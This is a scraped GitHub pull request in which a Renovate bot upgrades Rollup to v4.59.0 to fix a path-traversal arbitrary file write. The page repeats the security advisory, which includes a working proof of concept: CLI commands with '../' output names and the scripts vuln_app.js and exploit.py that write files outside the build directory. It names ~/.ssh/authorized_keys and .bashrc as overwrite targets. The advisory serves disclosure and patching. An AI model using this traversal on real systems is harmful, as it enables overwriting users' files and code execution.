chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-rollup-vulnerability
Open

chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Mar 1, 2026•
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence

Rollup 4 has Arbitrary File Write via Path Traversal

CVE-2026-27606 / GHSA-mw96-cpmx-2vgc

More information

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');

exploit.py

importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image
Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

v4.57.1

Compare Source

2026-01-30

Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests

v4.57.0

Compare Source

2026-01-27

Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests

v4.56.0

Compare Source

2026-01-22

Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests

v4.55.3

Compare Source

2026-01-21

Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests

v4.55.2

Compare Source

2026-01-19

Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests

v4.55.1

Compare Source

2026-01-05

Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests

v4.54.0

Compare Source

2025-12-20

Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests

v4.53.5

Compare Source

2025-12-16

Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests

v4.53.4

Compare Source

2025-12-15

Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests

v4.53.3

Compare Source

2025-11-19

Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests

v4.53.2

Compare Source

2025-11-10

Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests

v4.53.1

Compare Source

2025-11-07

Bug Fixes
Pull Requests

v4.53.0

Compare Source

2025-11-07

Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests

v4.52.5

Compare Source

2025-10-18

Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests

v4.52.4

Compare Source

2025-10-03

Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests

v4.52.3

Compare Source

2025-09-27

Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests

Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovateBot requested a review from a teamMarch 1, 2026 01:49
@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Mar 1, 2026
@renovate
renovateBot requested review from a team and sullivanpj as code ownersMarch 1, 2026 01:49
@renovate
renovateBot enabled auto-merge (squash) March 1, 2026 01:49
@deepsource-io

deepsource-ioBot commented Mar 1, 2026•
edited
Loading

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗

@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from c971e0c to fc22925CompareMarch 5, 2026 15:35
@socket-security

socket-securityBot commented Mar 5, 2026•
edited
Loading

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100

View full report

@socket-security

socket-securityBot commented Mar 5, 2026•
edited
Loading

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from fc22925 to f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from f8c8592 to c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from c80f927 to b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 02:22
@storm-softwarestorm-software locked and limited conversation to collaborators Mar 28, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 9086cc9 to b704852CompareApril 1, 2026 17:03
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:03
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from b704852 to 59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 59fd8fa to 316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 95559e9 to 15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 15d4a3d to 662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 2e48feb to 738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:44
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 738b7d2 to 85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 85f4ec9 to 3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 3b6d301 to 017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 017d3e9 to cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from cca5542 to c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from c6bf339 to bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from bd59b6b to 145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed the renovate/npm-rollup-vulnerability branch from 145bfdc to da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all 
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

